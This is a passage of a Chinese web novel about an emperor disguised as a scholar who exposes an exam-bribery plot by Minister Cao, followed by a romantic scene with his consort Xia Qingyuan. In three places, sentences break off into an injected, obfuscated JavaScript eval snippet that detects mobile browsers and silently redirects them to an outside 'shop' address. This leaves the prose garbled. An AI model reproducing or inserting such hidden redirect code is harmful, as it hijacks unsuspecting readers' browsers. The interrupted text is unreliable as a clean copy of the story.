她恨不得立刻转身逃走，却又碍于“贤妻”的人设，只能僵硬地站在原地，指尖悄悄掐着食盒的提梁。 萧翊却似浑不在意，甚至还抬手，极其自然地替她理了理帷帽边微微翘起的纱帘。 这个动作，又引来一阵起哄的笑声。 终于—— “夫君与同窗慢用，妾身先回去了。”夏清圆逃似的跑出了邯山学院。 目送那抹浅蓝色身影消失在院门外，学子们重新围拢过来，对萧翊的态度却有了微妙的变化—— 先前只当他是个寻常外地考生，如今知道他是夏翀的亲戚，又是“入赘”身份，好奇中多了几分探究。 萧翊打开食盒，清粥小菜、馒头卤蛋，虽简单却精致。他招呼众人：“各位若是不嫌弃，一起用些？” “这怎么好意思……”话虽如此，几个早已腹中空空的学子还是围了过来。 食盒很快见底。萧翊看着空空如也的食盒，心中苦笑——夏清圆怕是按他一人的分量准备的，哪够这么多人分？ 果然，未到申时，腹中已空空如也。 “宋兄，饿了吧？”韩孝闻揉着肚子提议，“山脚下有家素面铺子，味道尚可，价也公道，不如……” 萧翊正有此意，当即起身：“同去。” 同行五人沿着青石板路下山。 冬日天黑得早，山道上已有些昏暗。 那家素面铺子开在山脚下，简陋的茅棚下摆着几张方桌，生意倒不错，挤满了书院学子。 五人等了半晌才等到空位。面端上来，清汤寡水，几片菜叶，滋味实在平常。但饿极了，也顾不得许多，埋头便吃。 结账时，萧翊习惯性伸手入怀—— 他出宫前换了常服，却忘了将宫中随身带的金叶子换成碎银。指尖触到那冰凉光滑的金属时，他顿了顿，但已来不及收回。 一枚小巧精致的金叶子落在油腻的木桌上，在昏黄的油灯下闪着诱人的光泽。 整个铺子瞬间安静了一瞬。 五碗素面，不过三十文钱。用金叶子付账……这已不是阔绰，是荒唐。 掌柜瞪大眼睛，小二张着嘴，连周围吃面的学子都停下了筷子，目光齐刷刷射来。 刑录最先反应过来，干笑两声：“宋兄……你这……” 萧翊面不改色，声音依旧沙哑：“出门急，未及换碎银。掌柜且收着，多的便存着，下回再来吃。” 掌柜这才回过神，颤着手拿起那枚金叶子，对着灯光看了又看，连连点头：“好、好！客官慢走！” 走出铺子，韩孝闻压低声音：“宋兄，财不露白啊！这书院附近……不太平。” 萧翊点头：“多谢提醒。” 他并非不知，只是久居深宫，对这些市井规矩早已生疏。一枚金叶子在他眼中，与一块碎银无异。 一行人刚走出几十步，身后便传来急促的脚步声。 “几位留步！” 回头看去，是个穿着绸缎短袄、头戴瓜皮帽的中年男子，脸上堆着殷勤的笑，眼睛却像钩子一样在几人身上扫来扫去。 “方才在铺子里，瞧见几位气度不凡，尤其是这位公子——”他的目光落在萧翊身上，“出手阔绰，必非池中之物。” 韩孝闻警惕地挡在萧翊身前：“你有何事？” 那掮客搓着手，压低声音：“明人不说暗话。几位是来考会试的吧？寒窗十年，为的不就是金榜题名？可这世道……光有才学不够，还得有人脉。” 他左右看看，声音压得更低：“在下有门路。一百两银子，能得三品大员亲自看你的行卷，批注指点。若是五百两……可直接拜在礼部曹尚书门下，成为曹氏门生。来日科场之上，自有照应。” 几个学子脸色变了。刑录道：“你什么人！竟敢公然买卖科场门路！” “几位小兄弟别急。”掮客不慌不忙，说着歪理：“这规矩自古就有。你们书院里，难道没人行卷？没人拜座师？他也做、你也做，这才公平。” 他看向一直沉默的萧翊：“这位公子一看就是明白人。如何？五百两，换一个前程似锦，值不值？” 萧翊抬起眼，那双掩在平凡伪装后的眸子深不见底。他缓缓开口，声音依旧沙哑：“五百两……倒是不贵。” “宋兄！”刑录急道。 萧翊抬手止住他，看向掮客：“只是，空口无凭。我怎知你不是骗子？” 掮客笑了：“公子谨慎是应该的。这样——三日后，亥时正，城南‘悦来茶馆’后巷。届时自有人来接应，当场交钱，当场拜师。若有不实，公子尽可报官。” “好。”萧翊点头，“三日后，悦来茶馆。” 掮客满意地拱手离去，身影很快消失在夜色中。 “宋兄！你糊涂啊！”掮客一走，刑录便急道，“这分明是骗局！便是真的，也是违法乱纪！你如今住在夏大人府上，若牵扯进去，岂不连累夏大人清名？” 萧翊却若有所思：“若是骗局，正好抓个现行。若是真的……”他顿了顿，“那便是大案。” 几人对视一眼，忽然明白了什么。 “宋兄的意思是……” “将计就计。”萧翊的声音在寒夜里清晰而冷定，“三日后，我们一起去。多叫些人— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908797|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —书院里，对行卷制度不满的，应当不少。” “可若是动起手来……” “所以要多叫些人。”萧翊看向远处书院依稀的灯火，“法不责众。何况我们占着理。” 回到书院时，已近戌时。但书院里却热闹非凡——邓书满正站在一张破木桌上，挥舞着一卷写满字的纸，慷慨激昂： “……行卷之弊，在于不公！寒门学子无钱无势，纵有满腹经纶，无人举荐便是枉然！当今圣上设立科举督查班，便是我们的机会！” 周围聚集了数十学子，个个面色激愤。 萧翊挤进人群，有人认出他，低声道：“宋兄回来了。邓兄正在商议，要联名上书督查班，痛陈行卷之弊。” “上书？”萧翊抬头看向邓书满，“邓兄以为，一纸文书递上去，便能撼动积弊数十年的规矩？” 邓书满愣了愣：“那宋兄以为该如何？” “督查班新立，正需立威。”萧翊的声音不高，却清晰地传入每个人耳中，“若只是递几封信，他们大可压下，不了了之。若要他们不得不查，不得不办——” 他顿了顿，一字一顿：“就得闹出动静。闹得越大越好。” 人群骚动起来—— “闹事？那可是要记过的！” “若是被除名，十年寒窗就白费了！” “宋兄说得轻巧，谁去带头？” 萧翊缓缓扫视众人，最后目光落在邓书满手中的那卷纸上：“邓兄这檄文写得极好。三日后，城南悦来茶馆后巷，有人要公然贩卖曹尚书门生名额，五百两一位。” 他提高声音：“届时，我们便以这檄文为号，当场抓赃，扭送督查班。人赃并获，众目睽睽——督查班便是想压，也压不住。” 死寂。 许久，一个颤抖的声音响起：“那……谁去？” “胳膊拧不过大腿，我有点怵。” “我也是，别闹事不成，被取消了资格。” ...... 萧翊上前一步，从邓书满手中接过那卷纸，展开 “我去。” 他正亲手将这些来自民间的、个体的不满，转化为有组织的、有效的集体行动，用这股源源不断的、尚待激活的新鲜力量，推动朝堂上举步维艰的政治变革。 当夜，曹府。 书房里烛火通明，曹扣军面色阴沉地听着心腹禀报。 “……那掮客是咱们安在书院附近的人，今日钓到一条大鱼。是个姓宋的扬州学子，住在夏翀府上，今日用金叶子付面钱，被盯上了。已约好三日后在悦来茶馆交易，五百两，拜入大人门下。” 曹扣军冷笑：“夏翀的亲戚？倒是会钻营。” “大人，此事是否……”心腹犹豫道，“毕竟督查班刚立，风头正紧。” “怕什么。”曹扣军端起茶盏，眼底闪过一丝厉色，“正要借这个机会，给督查班一个下马威。你安排好人手，三日后，当场将那姓宋的拿下，就说他受夏翀指使，企图舞弊、贿赂考官。” 他抿了口茶，语气森然：“夏翀不是要清名吗？本官倒要看看，他的亲戚公然行贿，他这个阅卷官，还清不清白。” 心腹会意，躬身退下。 而同在夜色中，夏府东小院里，飞鸿正压低声音向夏清圆禀报： “……跟了季太医一日，他除了当值，必去一趟南城门外的‘福寿茶楼’，每次都是上二楼雅间，约莫待半个时辰出来。” 夏清圆蹙眉：“茶楼？见什么人？” 飞鸿挠挠头，“有得人打扮体面，却又不像官家，还有几个庄户人。” “庄户人？”夏清圆想起母亲说的那个卖参的，的确与季太医有关。 可，到底为什么要与几个庄户人交易呢？ “下次他再去，你着意打听一下那几个庄户人的来路。” 21. 破局 三日后，亥时初刻。 城南悦来茶馆早已打烊，后巷隐在浓稠的夜色里，只有檐角几盏气死风灯在寒风中摇晃，投下鬼魅般的光影。 萧翊独自站在巷口。 他穿着那身洗得发白的靛蓝布袍，脸上粘着蜡黄的假皮和那两撇可笑的八字胡，指尖在袖中无意识地捻着一枚温润的羊脂玉扳指——那是今日出门前，夏清圆悄悄塞进他掌心的。 “带着这个，”她那时垂着眼睫，笑盈盈：“我爹说……玉能辟邪。” 萧翊当时没应声，只是将那枚还带着她体温的扳指套在了小指上。 此刻，扳指内侧精细雕刻的缠枝莲纹抵着指腹，传来细微的、安定的触感。 “宋公子来得准时。” 阴影里踱出一个人，正是三日前那个头戴瓜皮帽的掮客。他今夜换了身深褐色绸缎袄子，脸上堆着比那日更殷勤三分的笑，眼睛却像钩子似的在萧翊身上刮过。 “钱备好了？” 萧翊从怀中取出一张银票——五百两面额，通宝钱庄的印鉴在昏黄灯光下泛着冷光。 掮客眼中贪婪一闪而过，却按住银票没接，反而侧身让出身后一人：“宋公子爽快。只是规矩如此，须得先见过引荐人。” 有人从更深的阴影里走出来—— 四十上下，面容清癯，穿着半新不旧的藏青直裰，手里握着卷书，倒真有几分清客幕僚的模样。 他上下打量萧翊，眼神里带着居高临下的审视：“你就是夏大人在扬州老家的表侄婿？” 萧翊垂眼，姿态放得很低：“正是。晚生宋逍，久仰曹尚书，特来求个机缘。” “机缘……”幕僚轻哼一声，接过银票对着灯光验看，确认无误后才慢条斯理道，“尚书大人日理万机，寻常人自然见不着。不过你既是夏大人亲戚，又诚心至此……也罢。” 他从袖中取出一封未曾署名的信函：“三日后，持此信去礼部衙门外巷‘翰墨斋’，自有人接应。届时会安排你拜见尚书大人门下一位管事，若文章尚可，或能得几句指点。” 话说得含糊，意思却明白——五百两，只够买一个见管事的机会。 萧翊心中冷笑，面上却做出感激神色，正要伸手接信—— “且慢。” 幕僚忽然将信往回一收，目光锐利如刀：“宋公子，有句话得说在前头。此事关乎尚书清誉，若他日有人问起……” “晚生明白。”萧翊接口，“银钱是资助同乡学子的义捐，信件是请教经义的拜帖，绝无他意。” 幕僚满意颔首，将信递出。 就在萧翊指尖即将触到信笺的刹那—— “抓贼啊——！” 一声凄厉的尖叫毫无征兆地从不远处的巷口炸开！ 紧接着是凌乱的脚步声、女子的哭喊、男人的怒骂，混杂着瓷器碎裂的刺耳声响，像一盆滚油泼进了死寂的夜。 萧翊猛地回头。 这不是他们约定的信号！ 他猛地转头看向掮客和幕僚，却见两人脸上非但没有惊慌，反而露出一种早有预料的、阴冷的笑意。 “看来今夜不太平啊，宋公子。”幕僚慢悠悠将信收回袖中，声音陡然转厉，“来人！” 话音未落，巷子两侧低矮的院墙后，“呼啦啦”跃出十余名黑衣劲装的汉子！ 这些人动作迅捷、步伐统一，腰间佩刀虽未出鞘，但那股子肃杀之气绝非寻常地痞——是训练有素的府兵！ “你们……”萧翊后退半步，背脊抵上冰冷的砖墙。 “我们？”掮客嗤笑，脸上的谄媚尽数褪去，只剩赤裸的恶意，“宋逍，你真当五百两就能买通曹尚书？实话告诉你——今夜这事，本就不是为你准备的。” 他上前一步，压低声音，每个字都像淬了毒的针： “要怪，就怪你那位好亲戚夏翀。一个六品修撰，也敢在朝堂上跟曹尚书叫板？既然他想要清名，曹尚书就送他一份大礼。” 幕僚冷冷接口：“衙门巡夜，正好遇见了夏大人的亲戚行贿，人赃并获。” 他盯着萧翊，一字一顿：“阅卷官夏翀，暗中授意亲属笼络学子、结党营私，更甚，欲行舞弊之实！” 原来如此。 萧翊闭了闭眼，再睁开时，眸中最后一点温度也消散殆尽。 好一场局中局。 借他这个“夏家姻亲”，将脏水泼到夏翀身上。 只要今夜坐实了“行贿未遂”，明日朝堂上，曹扣军便能以“大义灭亲”的姿态，反手将夏翀钉死在耻辱柱上。 而真正的交易？那封永远送不到他手里的信，那五百两来路不明的银票——都将是铁证。 “时间差不多了。”幕僚看了眼天色，“宋公子，委屈你……” “等一等。”萧翊忽然开口。 声音不高，甚至还有些沙哑，却像一道冰凌划过夜色，让正要上前拿人的私兵动作一顿。 他缓缓站直身体。 巷口那场“意外骚乱”还在继续，可萧翊却像完全听不见，只是抬手，用指尖轻轻捻住脸颊边缘—— “刺啦。” 一声极轻微的、皮革撕裂的声响。 蜡黄的假皮被缓缓揭开一角，露出底下真实的肤色。 然后是另一角，再一角……最后是那两撇滑稽的八字胡，被轻轻扯下，随手丢在青石板地上。 私兵们愣住了。 掮客和幕僚也愣住了。 他们眼睁睁看着眼前这个穷酸书生，一点点褪去伪装。 方才还带着讨好神色的脸上，此刻却沉静冷峻。目光扫过来时，竟让久经场面的幕僚心头莫名一寒。 “你……”幕僚喉结滚动，下意识后退半步，“你究竟是什么人？” 萧翊没答。 他拿出藏在手心的竹哨，缓缓抵在唇边—— “咻——！” 一声清越悠长的哨音，骤然撕裂夜空！ 巷口那场“意外骚乱”的声音越来越弱。 女子的尖叫停了，男人的怒骂没了，瓷器碎裂声也消失了。取而代之的，是死一般的寂静。 然后—— “踏、踏、踏……” 整齐、沉重、富有节奏的脚步声，从巷口方向传来。 那不是几个人，也不是十几个人——是数十人人，手里举着熊熊燃烧的火把，沉默而坚定地涌进这条狭窄的后巷！ 火光照亮了一张张年轻而激愤的脸。 邓书满走在最前，手里高举着一卷写满字的宣纸，那是他熬了三个通宵写就的、痛陈科场积弊的檄文。 刑录跟在他身侧，手里紧握着那份从江陵带来的、按满血手印的万民书。 韩孝闻、还有白日里在书院慷慨陈词的数十名学子……他们全都来了。火把在寒风中猎猎作响，将整条巷子照得亮如白昼。 “你、你们……”掮客脸色惨白，声音发颤，“你们想造反吗？！” “造反？”邓书满上前一步，声音因激动而微微发颤，“我们是要明考纪！除奸佞！” 他猛地展开手中檄文，就着火光高声诵读： “夫科举者，国家抡才大典，士子晋身之阶！然今有宵小，假行卷之名，行买卖之实；借座师之谊，结朋党之私！寒窗十载，不抵白银五百；文章锦绣，难敌权贵一言！此风不除，科场何清？此弊不革，朝堂何宁？！” 每念一句，身后学子便齐声应和：“此风不除，科场何清！此弊不革，朝堂何宁！” 声浪如潮，震得屋檐积雪簌簌落下。 幕僚终于意识到大事不妙，厉声喝道：“拦住他们！快去禀报——” 话音未落。 巷子另一端，传来更加沉重、更加整齐、更加令人心悸的声音。 那是铁甲摩擦的铿锵声，是军靴踏地的闷响，是百战之师独有的肃杀之气。 一道魁梧如山的身影，出现在巷口。 火光映亮他漆黑的铠甲，映亮他腰间那柄出鞘半寸、寒光凛冽的佩刀，更映亮他那张虬髯怒张、不怒自威的脸—— 禁军统领，赵羯。 他身后，是两列沉默如铁的禁军精锐。玄甲在火光下泛着幽冷的光，每一步踏下，青石板都仿佛在震颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908798|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 府兵们彻底慌了。 他们或许能对付手无寸铁的学子，但在真正的禁军面前，就像土鸡瓦狗。 赵羯看都没看他们一眼，大步走到萧翊面前，单膝跪地，铠甲碰撞出铿锵之音： “末将赵羯，奉旨缉拿科场舞弊案犯！请皇上示下！” …… 死寂。 极致的、仿佛连时间都凝固的死寂。 萧翊抬眼。 目光所及之处，私兵们“扑通”“扑通”跪倒一片，抖如筛糠。 掮客双腿一软，直接瘫坐在了地上，□□间迅速洇开一片深色水渍。 幕僚面色死灰，嘴唇哆嗦着，却一个字也吐不出来。他手里还攥着那封永远送不出去的信，指节因为过度用力而泛出青白色。 他缓步走到那群目瞪口呆的学子面前。 邓书满手里的檄文“啪嗒”掉在地上。刑录张着嘴，韩孝闻手里的火把歪了都没察觉。所有人都瞪大眼睛，像在看一个从神话里走出来的幻影。 萧翊弯腰，捡起那份檄文，抖落上面的雪沫，就着火光，一字一句地看。 “写得好。” 三个字，很平静。可落在邓书满耳中，却像惊雷。 萧翊又看向刑录：“江陵百姓的血书，带了吗？” 刑录如梦初醒，双手奉上。 萧翊接过，却没看，只是握在手中。然后，他转身，面向所有学子，声音清晰地传遍整条巷子： “朕今日在此，亲眼所见，亲耳所闻。” 他顿了顿，目光扫过那一张张年轻而激愤的脸： “你们要的清白科场，朕给。” “你们要的公平取士，朕给。” “你们要的——朗朗乾坤、清平世道——” 他举起手中那份血书，声音陡然拔高，如金铁交鸣，在雪夜里炸开： “朕，让你们亲眼见证！” …… “万岁！！！” 不知是谁先喊出来的。 紧接着，第二个、第三个……所有学子，所有举着火把的年轻人，全都红了眼眶，用尽全身力气嘶吼： “万岁！万岁！万岁！！！” 声浪如海啸，冲破狭窄的巷子，冲上飘雪的夜空，回荡在整个京城的街巷之间。 远处茶楼二楼。 夏清圆死死抓着窗棂，指节捏得发白。 她看着巷中那个被火光与人群簇拥的身影，心口有什么东西，在那一瞬间，轰然炸开。 滚烫的、汹涌的、从未有过的热流，从心脏最深处奔涌而出，瞬间冲垮了所有理智的堤防。 她张了张嘴，想说什么，喉咙却哽住了。 飞鸿站在她身后，也看傻了，喃喃道：“小、小姐……那真是……皇上？” 夏清圆没回答。 她只是看着，一眨不眨地看着。 看着萧翊在震天的欢呼声中，缓缓转身，目光如电，射向瘫软在地的幕僚和掮客。 “赵羯。” “末将在！” “拿下。”萧翊的声音没有一丝温度，“所有涉案之人，押入诏狱，连夜审讯。朕要口供，要账本，要他们这些年买卖科场名额的所有证据。” “是！” “周明堂。” “臣在！”人群中，一个穿着青色官袍、面容瘦削严肃的中年官员疾步上前——正是督查班文司主事周明堂。 “此案由督查班全权督办，禁军协理。”萧翊一字一顿，“凡有阻挠者，以同谋论处。” “臣领旨！” 一条条指令清晰落下，如同精准的棋子，将今夜这场精心布置的陷阱，彻底碾碎、重组，化为刺向布局者最锋利的刀。 雪越下越大。 萧翊站在纷扬的雪幕中，他忽然抬起眼，望向茶楼的方向。 隔着漫天飞雪，隔着摇曳火光，隔着数十丈的距离—— 他的目光，准确无误地，落在了那个倚在窗边的身影上。 然后，极轻微地，几不可察地—— 他朝她，弯了弯唇角。 22. 破土 天还黑着，太和殿前的汉白玉广场却已灯火通明。 凛冽的寒风卷着昨夜未化的积雪，抽打在朱红宫墙上，发出呜咽般的声响。 百官比平日到得更早。 他们沉默地站在各自的队列里，官袍下摆被风吹得猎猎作响，却没人敢挪动半步。 空气里弥漫着一种近乎凝滞的紧张——昨夜城南悦来茶馆后巷的事，像长了翅膀，早已传遍了京城的每一个角落。 “听说了吗？皇上……亲自去了。” “何止去了！赵统领带着禁军，抓了十几号人……” “连夜审问，听说动了刑……” 低语声像暗流，在队列中窸窣涌动。 曹扣军站在文官队列最前端，脸色在宫灯映照下泛着青灰。他挺直脊背，双手拢在袖中，指节却捏得发白。 昨夜幕僚未归，他就知道出事了。 但他没想到，会是这样。 那个姓宋的穷酸书生……竟是皇上？！ “时辰到——！” 司礼监太监尖细的嗓音划破黎明。 萧翊踏着晨光走进大殿。 他换回了玄色纹龙袍，脸上“宋逍”痕迹已消失殆尽。 而那双眼睛——比平日更深，更沉，像暴风雪过后的寒潭，表面平静，底下却涌动着未散的余威。 他在御座上坐下，没有立刻开口。 目光缓缓扫过下方，在曹扣军紧绷的侧脸上停留了一瞬，又移开。 那一眼，像冰锥刺骨。 “吴全顺。”萧翊终于开口，声音不高，却字字清晰，“念。” “是。” 吴全顺躬身，展开手中连夜誊抄的奏报，尖细的嗓音在大殿中回荡： “昨夜，城南悦来茶馆后巷，查获科场舞弊案一桩。涉案者：掮客刘三、曹府幕僚周显，及府兵一十七人。人赃俱获，证据确凿。” 每念一句，曹扣军的脸色就白一分。 “经连夜审讯，刘三供认，其长期为曹府牵线，买卖科场名额、行卷门路，涉案金额累计逾万两。” “周显供认，昨夜之事，系受礼部尚书曹扣军指使，意图构陷翰林院学士夏翀及其姻亲，伪造行贿证据，以污其清名。” “砰！” 曹扣军猛地出列，官袍下摆带翻了脚边的铜制香炉，香灰泼了一地。 “陛下！臣冤枉！”他声音嘶哑，额角青筋暴起，“此必是有人构陷！周显虽是臣门下幕僚，但其行事，臣一概不知！至于那掮客刘三，臣更闻所未闻！” “构陷？”萧翊缓缓抬眸，“曹卿的意思，是学生们构陷你？还是...朕构陷你？” “臣不敢！”曹扣军噗通跪倒，“臣只是……只是觉得此事蹊跷！那周显或许是受人指使，故意攀咬……” “指使？”萧翊打断他，语气陡然转厉，“谁能指使他，拿着曹府的印信，打点衙门、收受考生贿赂？！” 他从御案上拿起几样东西扔到他眼前——正是昨夜从幕僚身上搜出的府牌和印信。 满殿哗然。 曹扣军如遭雷击，嘴唇颤抖着，一个字也辩不出。 他的脸色由青转白，又由白转灰。他猛地意识到—— 皇上的目标或许不是他，而是要用沸腾的民意、无可辩驳的证据，扫一切障碍，来达到完成科举改革的目的。 若是这样，或许还有一线生机！ “陛下明鉴！”曹扣军重重叩首，前额砸在金砖上，发出沉闷的响声，“臣……臣御下不严，致门人胆大妄为，臣有罪！但买卖科场、构陷同僚之事，臣实不知情！定是周显那厮，盗用臣的私章，与外贼勾结，欲行不轨！” 他开始切割。 切割周显，切割掮客，切割所有能切割的。 只要保住自己，就还有机会。 萧翊静静看着他，像在看一场早已预知的戏码。等曹扣军说完，他才缓缓开口： “曹卿的意思，这一切，都是周显一人所为？” “是！臣管教无方，愿领失察之罪！” “失察……”萧翊重复这两个字，忽然笑了。 那笑意很浅，未达眼底，反而衬得眸光愈发寒凉。 “好一个失察。”他站起身，玄色龙袍的下摆拂过御阶，“朕登基之初，便说过，朝堂之上，容不得昏聩无能之辈。科举乃国本，更容不得半点含糊。” 他一步步走下丹墀，靴底踏在汉白玉台阶上，发出清晰的声响。 “你身为礼部尚书，今科主考，却连门下幕僚在外买卖科场名额数年之久，都毫无察觉？” “昨夜构陷朝臣，动用私兵，假冒官差，闹市抓人——这般阵仗，你说你一概不知？” 曹扣军浑身一颤，冷汗浸透了中衣。 “陛、陛下……”他声音发颤，“臣……臣愿辞去主考之职，闭门思过……” 萧翊转身，重新踏上御阶。声音从高处落下，如冰雪倾覆： “曹扣军御下无方，有负圣恩，即日起——削去礼部尚书一职，闭门思过，无旨不得出。” “其今科主考一职，由礼部左侍郎暂代。” 判决落下，不轻，但也不重。 没有立刻问斩，没有抄家灭族，甚至保留了虚衔。 可曹扣军知道，自己完了。皇上今日不动他，是杀鸡给猴看。 果然—— “涉案一应人等，交由督查班、刑部、大理寺三司会审，依律严惩。” “至于……朝上若还有借行卷之名，收受贿赂者。自觉点，别等着朕一个一个把你们揪出来。”萧翊顿了顿，“举报有功。” “臣……”曹扣军伏在地上，声音像从齿缝里挤出，“领旨……谢恩。” 每一个字，都像在割他的肉。 萧翊不再看他，目光转向一直垂首侍立的周明堂。 “周明堂。” “臣在。” “督查班新立，便遇此大案。朕要你在十日内，厘清此案所有关联，拟出科举改制第一条章程——取缔行卷，推行糊名誊录制。” 周明堂猛地抬头，眼中迸出精光：“臣……领旨！” 糊名誊录！ 这意味着，从此以后，阅卷官再也看不到考生的姓名籍贯，再也无法因“行卷”“公荐”而有所偏私。 所有试卷由专人誊抄，笔迹统一，彻底断绝舞弊的可能！ “陛下圣明！”夏翀第一个跪倒，声音因激动而微微发颤。 紧接着，宋方程、谢停云……越来越多的官员跪下，山呼海啸般的“圣明”声，响彻大殿。 曹扣军跪在人群里，像一尊正在风化的石像。 他知道，自己不仅输了，还成了皇上推行新政的第一块垫脚石。 退朝时，天已大亮。 夏翀走在宫道上，深绯色的官袍在晨光中格外醒目。几个平日里与他并无交集的官员凑过来攀谈。 他一一还礼，脸上依旧是那副温吞的笑，可心里却像压着一块巨石。 皇上赢了，赢得漂亮。 可他夏家也再没有回头路了。 “夏兄。”谢停云从后面赶上来，与他并肩而行，压低声音，“皇上昨夜……可曾受伤？” 夏翀摇头：“未曾。” “那就好。”谢停云长叹一声，望着远处巍峨的宫墙，“皇上做得对。” 两人沉默地走了一段。 “谢兄，”夏翀忽然开口，“昨日在书院，皇上以‘宋逍’之名，与学子们辩论土地改制……你可知，最后是谁说服了谁？” 谢停云脚步一顿。 “皇上……输了？” “不。”夏翀摇头，眼里泛起复杂的光，“是皇上，说服了所有人。” 他想起昨日在书院窗外听到的那场辩论。 那个穿着布袍的“宋逍”，站在一群激愤的学子中间，不急不缓，一条条反驳他们对于“激进改制”的担忧，又一条条阐述“为何必须改、为何必须现在改”。 没有引经据典，没有空谈仁义。 说的都是最实在的话：一亩地能产多少粮，一个农户要交多少税，被兼并的土地去了哪里，失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908799|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去田地的百姓如何过活…… 说到最后，满院学子寂静无声。 那一刻，夏翀站在窗外，忽然明白了皇上为何要亲自走这一遭。 他要听的，从来不是朝堂上那些冠冕堂皇的奏对。 他要听的，是泥土里的呻吟，是寒窗下的呐喊，是这片土地上最真实、最滚烫的声音。 “谢兄，”夏翀停下脚步，目光灼灼：“我现在觉得……或许这条船，值得上。” 谢停云看着他，良久，拍了拍他的肩。 “一起走吧。” 当夜，皇上摆架临华宫。 房门关上，隔绝了外间的喧闹。 屋里烧着地龙，暖意融融，窗台上那盆水仙开了，幽幽的香气弥漫开来。 萧翊在窗边的榻上坐下，揉了揉眉心。 “累了？”夏清圆轻声问，走过去，很自然地站到他身后，伸手替他按揉太阳穴。 指尖温软，力道适中。 萧翊微微一怔，随即放松下来，闭上眼。“有一点。” 他没说朝堂上的剑拔弩张，没说曹扣军最后那绝望的眼神，也没说自己心里那点复杂的、赢了却并不畅快的情绪。 夏清圆也没问。 她只是安静地按着，听着他渐渐平稳的呼吸。 良久，萧翊忽然开口：“圆圆。” “嗯？” “昨夜在茶楼上……怕不怕？” 夏清圆手指顿了顿。 怕吗？ 当时看到那些私兵涌出来，看到他被团团围住，她心脏都快停跳了。可后来…… 她没说怕与不怕，嗓音里沾着潮气，一字一顿：“臣妾仰慕您。” 萧翊睁开眼，伸手，握住她还在自己太阳穴上的手，拉到身前。 “为什么？” 夏清圆抬起眼，看着他。 然后，她一字一句，说得清晰又坚定：“臣妾觉得，做皇帝也不容易。” 萧翊心头一震，握着她的手，收紧了。 “圆圆。”他声音有些哑，“你仰慕朕，只因朕是皇帝？” 夏清圆愣住。 她没想到他会问这个。 可只是愣了一瞬，她就笑了。不是那种温婉端庄的笑，而是她特有的、带着点狡黠、又透着真挚的笑。 “那臣妾可得好好想想。”她故意拖长声音，看他眉头微挑，才凑近些，小声说，“要是您不是皇上了……是不是就能天天陪我逛街、吃小吃、看话本了？” 萧翊：“……” “那好像……也不错？”夏清圆眼睛亮晶晶的，“不过到时候，您可得学着挣钱养家。我爹那点俸禄，可养不起咱们俩。” 她说得一本正经，仿佛真的在考虑“皇帝下岗再就业”的问题。 萧翊终于忍不住，低低笑出声来。 胸腔震动，连日的疲惫与沉郁，在这一笑中烟消云散。 他伸手，将她拉进怀里。 夏清圆猝不及防，跌坐在他腿上，脸颊瞬间爆红：“皇、皇上……” “叫夫君。”萧翊搂着她，下巴抵在她发顶，声音里带着未散的笑意，“之前在书院，不是叫得挺顺口？” “那是……那是演戏！”夏清圆耳朵都红了。 “那现在，”萧翊低头，在她耳边轻声问，“不是演戏了。叫一声来听听？” 温热的气息拂过耳廓，夏清圆浑身一颤，心跳如擂鼓。 她咬着唇，半晌，才极轻极轻地，唤了一声： “夫……君。” 声音软得像化开的蜜糖。 萧翊心头一烫，搂着她的手臂收紧。 窗外，夜色渐深。 雪又开始下了，细细的，密密的，在灯笼的光晕里无声飘落。 而屋里，烛火摇曳，暖意氤氲。 远处传来打更的梆子声。 三更了。 夜还长。可有些东西，在这一夜，悄然生根，无声滋长。 像雪地下的种子，只待春风一度，便会破土而出，长出漫山遍野的、灼灼的花。 23. 晋位 夏清圆次日醒来时，身侧早已空凉。 朦胧中记得卯时初曾迷糊转醒，萧翊含笑的声音贴着耳畔：“接着睡，不必起来。”温热的掌心抚过她肩头，将滑落的锦被仔细掖好。 想到这，她脸颊无声地烧了起来，连眼尾都洇开淡淡的绯色。 荔枝领着宫人鱼贯而入时，面上喜色几乎要满溢出来。众人齐齐拜倒，声音里压着雀跃：“奴婢们给婉昭仪娘娘贺喜，恭祝娘娘福泽绵长、芳华永驻！” “昭仪？”夏清圆尚在初醒的懵懂中，下意识重复。 “可不是！”荔枝上前扶她起身，手上动作轻快，“皇上天不亮去上朝，晋封的旨意后脚就到了！吴公公还在外头候着呢，专等主子梳洗妥当接旨。” 从昭媛到昭仪，竟是直接越过了昭容。 夏清圆心尖倏地一颤，昨夜床笫间那些混乱旖旎的片段骤然撞入脑海——那人如何缠着她，非要听那声“夫君”，还低笑着在她耳边说“叫得好，有赏”。 原来……竟是这般赏法。 她耳根滚烫，连颈侧都泛起薄红，心底暗啐：这人……怎么这般没个正形。 